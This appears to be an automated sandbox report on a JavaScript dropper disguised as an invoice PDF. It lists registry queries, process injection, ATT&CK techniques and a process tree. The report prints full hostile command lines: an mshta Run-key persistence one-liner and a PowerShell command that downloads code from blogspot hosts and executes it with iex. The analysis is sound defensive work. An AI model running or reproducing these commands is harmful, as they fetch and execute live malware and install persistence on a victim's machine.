b9b4fb770fdb055d474f1a54886bdc380c22afa777a3a0aeaf42a04dcb6a56a8

System Information Discovery

Processes:

wscript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\Control Panel\International\Geo\Nation	wscript.exe

Obfuscated with Agile.Net obfuscator 1 IoCs

Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.

agilenet

Processes:

resource	yara_rule
behavioral2/memory/2332-28-0x0000000000E10000-0x0000000000E96000-memory.dmp	agile_net

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Bookignr2 = "mshta \"javascript:ql=['Scripting.FileSystemObject','WScript.Shell','powershell -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;(irm htlmay5-24.blogspot.com/hehe \| iex);Start-Sleep -Seconds 5;','run']; ht=[ql[3],ql[0],ql[1],ql[2]]; new ActiveXObject(ht[2])[ht[0]](ht[3], 0, true);close();new ActiveXObject(ht[1]).DeleteFile(WScript.ScriptFullName);\"\n"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Bookignr1 = "schtasks /run /tn Bookignr1"	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

11 bitbucket.org
12 bitbucket.org
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

28 ip-api.com
25 api.ipify.org
26 api.ipify.org

flow	ioc
11	bitbucket.org
12	bitbucket.org

flow	ioc
28	ip-api.com
25	api.ipify.org
26	api.ipify.org

Suspicious use of SetThreadContext 6 IoCs

Processes:

powershell.exe

description	pid	process	target process
PID 4764 set thread context of 4640	4764	powershell.exe	RegSvcs.exe
PID 4764 set thread context of 2332	4764	powershell.exe	RegSvcs.exe
PID 4764 set thread context of 3952	4764	powershell.exe	RegSvcs.exe
PID 4764 set thread context of 3012	4764	powershell.exe	RegSvcs.exe
PID 4764 set thread context of 4692	4764	powershell.exe	Msbuild.exe
PID 4764 set thread context of 3028	4764	powershell.exe	Msbuild.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 12 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

dw20.exedw20.exedw20.exedw20.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	dw20.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	dw20.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	dw20.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	dw20.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	dw20.exe

Enumerates system info in registry 2 TTPs 8 IoCs

Query Registry

System Information Discovery

Processes:

dw20.exedw20.exedw20.exedw20.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	dw20.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	dw20.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	dw20.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	dw20.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	dw20.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

Processes:

powershell.exeRegSvcs.exeRegSvcs.exe

pid	process
4764	powershell.exe
4764	powershell.exe
4764	powershell.exe
4764	powershell.exe
4764	powershell.exe
4764	powershell.exe
4764	powershell.exe
2332	RegSvcs.exe
2332	RegSvcs.exe
4640	RegSvcs.exe
4640	RegSvcs.exe
2332	RegSvcs.exe
4640	RegSvcs.exe
4764	powershell.exe
4764	powershell.exe
4764	powershell.exe
4764	powershell.exe
4764	powershell.exe
4764	powershell.exe
4764	powershell.exe
4764	powershell.exe
4764	powershell.exe
4764	powershell.exe
4764	powershell.exe
4764	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exedw20.exedw20.exedw20.exedw20.exeRegSvcs.exeRegSvcs.exe

description	pid	process
Token: SeDebugPrivilege	4764	powershell.exe
Token: SeBackupPrivilege	3540	dw20.exe
Token: SeBackupPrivilege	4256	dw20.exe
Token: SeBackupPrivilege	3540	dw20.exe
Token: SeBackupPrivilege	5000	dw20.exe
Token: SeBackupPrivilege	5000	dw20.exe
Token: SeBackupPrivilege	4468	dw20.exe
Token: SeBackupPrivilege	4468	dw20.exe
Token: SeBackupPrivilege	4256	dw20.exe
Token: SeDebugPrivilege	4640	RegSvcs.exe
Token: SeDebugPrivilege	2332	RegSvcs.exe
Token: SeIncreaseQuotaPrivilege	4764	powershell.exe
Token: SeSecurityPrivilege	4764	powershell.exe
Token: SeTakeOwnershipPrivilege	4764	powershell.exe
Token: SeLoadDriverPrivilege	4764	powershell.exe
Token: SeSystemProfilePrivilege	4764	powershell.exe
Token: SeSystemtimePrivilege	4764	powershell.exe
Token: SeProfSingleProcessPrivilege	4764	powershell.exe
Token: SeIncBasePriorityPrivilege	4764	powershell.exe
Token: SeCreatePagefilePrivilege	4764	powershell.exe
Token: SeBackupPrivilege	4764	powershell.exe
Token: SeRestorePrivilege	4764	powershell.exe
Token: SeShutdownPrivilege	4764	powershell.exe
Token: SeDebugPrivilege	4764	powershell.exe
Token: SeSystemEnvironmentPrivilege	4764	powershell.exe
Token: SeRemoteShutdownPrivilege	4764	powershell.exe
Token: SeUndockPrivilege	4764	powershell.exe
Token: SeManageVolumePrivilege	4764	powershell.exe
Token: 33	4764	powershell.exe
Token: 34	4764	powershell.exe
Token: 35	4764	powershell.exe
Token: 36	4764	powershell.exe
Token: SeIncreaseQuotaPrivilege	4764	powershell.exe
Token: SeSecurityPrivilege	4764	powershell.exe
Token: SeTakeOwnershipPrivilege	4764	powershell.exe
Token: SeLoadDriverPrivilege	4764	powershell.exe
Token: SeSystemProfilePrivilege	4764	powershell.exe
Token: SeSystemtimePrivilege	4764	powershell.exe
Token: SeProfSingleProcessPrivilege	4764	powershell.exe
Token: SeIncBasePriorityPrivilege	4764	powershell.exe
Token: SeCreatePagefilePrivilege	4764	powershell.exe
Token: SeBackupPrivilege	4764	powershell.exe
Token: SeRestorePrivilege	4764	powershell.exe
Token: SeShutdownPrivilege	4764	powershell.exe
Token: SeDebugPrivilege	4764	powershell.exe
Token: SeSystemEnvironmentPrivilege	4764	powershell.exe
Token: SeRemoteShutdownPrivilege	4764	powershell.exe
Token: SeUndockPrivilege	4764	powershell.exe
Token: SeManageVolumePrivilege	4764	powershell.exe
Token: 33	4764	powershell.exe
Token: 34	4764	powershell.exe
Token: 35	4764	powershell.exe
Token: 36	4764	powershell.exe
Token: SeIncreaseQuotaPrivilege	4764	powershell.exe
Token: SeSecurityPrivilege	4764	powershell.exe
Token: SeTakeOwnershipPrivilege	4764	powershell.exe
Token: SeLoadDriverPrivilege	4764	powershell.exe
Token: SeSystemProfilePrivilege	4764	powershell.exe
Token: SeSystemtimePrivilege	4764	powershell.exe
Token: SeProfSingleProcessPrivilege	4764	powershell.exe
Token: SeIncBasePriorityPrivilege	4764	powershell.exe
Token: SeCreatePagefilePrivilege	4764	powershell.exe
Token: SeBackupPrivilege	4764	powershell.exe
Token: SeRestorePrivilege	4764	powershell.exe

Suspicious use of WriteProcessMemory 62 IoCs

Processes:

wscript.exepowershell.exeMsbuild.exeRegSvcs.exeMsbuild.exeRegSvcs.exe

description	pid	process	target process
PID 3836 wrote to memory of 4764	3836	wscript.exe	powershell.exe
PID 3836 wrote to memory of 4764	3836	wscript.exe	powershell.exe
PID 4764 wrote to memory of 4640	4764	powershell.exe	RegSvcs.exe
PID 4764 wrote to memory of 4640	4764	powershell.exe	RegSvcs.exe
PID 4764 wrote to memory of 4640	4764	powershell.exe	RegSvcs.exe
PID 4764 wrote to memory of 4640	4764	powershell.exe	RegSvcs.exe
PID 4764 wrote to memory of 4640	4764	powershell.exe	RegSvcs.exe
PID 4764 wrote to memory of 4640	4764	powershell.exe	RegSvcs.exe
PID 4764 wrote to memory of 4640	4764	powershell.exe	RegSvcs.exe
PID 4764 wrote to memory of 4640	4764	powershell.exe	RegSvcs.exe
PID 4764 wrote to memory of 2332	4764	powershell.exe	RegSvcs.exe
PID 4764 wrote to memory of 2332	4764	powershell.exe	RegSvcs.exe
PID 4764 wrote to memory of 2332	4764	powershell.exe	RegSvcs.exe
PID 4764 wrote to memory of 2332	4764	powershell.exe	RegSvcs.exe
PID 4764 wrote to memory of 2332	4764	powershell.exe	RegSvcs.exe
PID 4764 wrote to memory of 2332	4764	powershell.exe	RegSvcs.exe
PID 4764 wrote to memory of 2332	4764	powershell.exe	RegSvcs.exe
PID 4764 wrote to memory of 2332	4764	powershell.exe	RegSvcs.exe
PID 4764 wrote to memory of 3952	4764	powershell.exe	RegSvcs.exe
PID 4764 wrote to memory of 3952	4764	powershell.exe	RegSvcs.exe
PID 4764 wrote to memory of 3952	4764	powershell.exe	RegSvcs.exe
PID 4764 wrote to memory of 3952	4764	powershell.exe	RegSvcs.exe
PID 4764 wrote to memory of 3952	4764	powershell.exe	RegSvcs.exe
PID 4764 wrote to memory of 3952	4764	powershell.exe	RegSvcs.exe
PID 4764 wrote to memory of 3952	4764	powershell.exe	RegSvcs.exe
PID 4764 wrote to memory of 3952	4764	powershell.exe	RegSvcs.exe
PID 4764 wrote to memory of 3012	4764	powershell.exe	RegSvcs.exe
PID 4764 wrote to memory of 3012	4764	powershell.exe	RegSvcs.exe
PID 4764 wrote to memory of 3012	4764	powershell.exe	RegSvcs.exe
PID 4764 wrote to memory of 3012	4764	powershell.exe	RegSvcs.exe
PID 4764 wrote to memory of 3012	4764	powershell.exe	RegSvcs.exe
PID 4764 wrote to memory of 3012	4764	powershell.exe	RegSvcs.exe
PID 4764 wrote to memory of 3012	4764	powershell.exe	RegSvcs.exe
PID 4764 wrote to memory of 3012	4764	powershell.exe	RegSvcs.exe
PID 4764 wrote to memory of 4692	4764	powershell.exe	Msbuild.exe
PID 4764 wrote to memory of 4692	4764	powershell.exe	Msbuild.exe
PID 4764 wrote to memory of 4692	4764	powershell.exe	Msbuild.exe
PID 4764 wrote to memory of 4692	4764	powershell.exe	Msbuild.exe
PID 4764 wrote to memory of 4692	4764	powershell.exe	Msbuild.exe
PID 4764 wrote to memory of 4692	4764	powershell.exe	Msbuild.exe
PID 4764 wrote to memory of 4692	4764	powershell.exe	Msbuild.exe
PID 4764 wrote to memory of 4692	4764	powershell.exe	Msbuild.exe
PID 4764 wrote to memory of 3028	4764	powershell.exe	Msbuild.exe
PID 4764 wrote to memory of 3028	4764	powershell.exe	Msbuild.exe
PID 4764 wrote to memory of 3028	4764	powershell.exe	Msbuild.exe
PID 4764 wrote to memory of 3028	4764	powershell.exe	Msbuild.exe
PID 4764 wrote to memory of 3028	4764	powershell.exe	Msbuild.exe
PID 4764 wrote to memory of 3028	4764	powershell.exe	Msbuild.exe
PID 4764 wrote to memory of 3028	4764	powershell.exe	Msbuild.exe
PID 4764 wrote to memory of 3028	4764	powershell.exe	Msbuild.exe
PID 3028 wrote to memory of 5000	3028	Msbuild.exe	dw20.exe
PID 3028 wrote to memory of 5000	3028	Msbuild.exe	dw20.exe
PID 3028 wrote to memory of 5000	3028	Msbuild.exe	dw20.exe
PID 3012 wrote to memory of 3540	3012	RegSvcs.exe	dw20.exe
PID 3012 wrote to memory of 3540	3012	RegSvcs.exe	dw20.exe
PID 3012 wrote to memory of 3540	3012	RegSvcs.exe	dw20.exe
PID 4692 wrote to memory of 4468	4692	Msbuild.exe	dw20.exe
PID 4692 wrote to memory of 4468	4692	Msbuild.exe	dw20.exe
PID 4692 wrote to memory of 4468	4692	Msbuild.exe	dw20.exe
PID 3952 wrote to memory of 4256	3952	RegSvcs.exe	dw20.exe
PID 3952 wrote to memory of 4256	3952	RegSvcs.exe	dw20.exe
PID 3952 wrote to memory of 4256	3952	RegSvcs.exe	dw20.exe

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\lnvoice-1205700442.pdf (4).js"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3836

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;$(irm mainhotel5may.blogspot.com//////////////////////hehehehe) | . iex;Start-Sleep -Seconds 3;
2⤵
- Blocklisted process makes network request
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4764

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4640

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2332

C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"
3⤵
- Suspicious use of WriteProcessMemory
PID:3952

C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
dw20.exe -x -s 776
4⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
PID:4256

C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"
3⤵
- Suspicious use of WriteProcessMemory
PID:3012

C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
dw20.exe -x -s 780
4⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
PID:3540

C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe
"C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"
3⤵
- Suspicious use of WriteProcessMemory
PID:4692

C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
dw20.exe -x -s 764
4⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
PID:4468

C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe
"C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"
3⤵
- Suspicious use of WriteProcessMemory
PID:3028

C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
dw20.exe -x -s 780
4⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
PID:5000

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

3

System Information Discovery

4

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service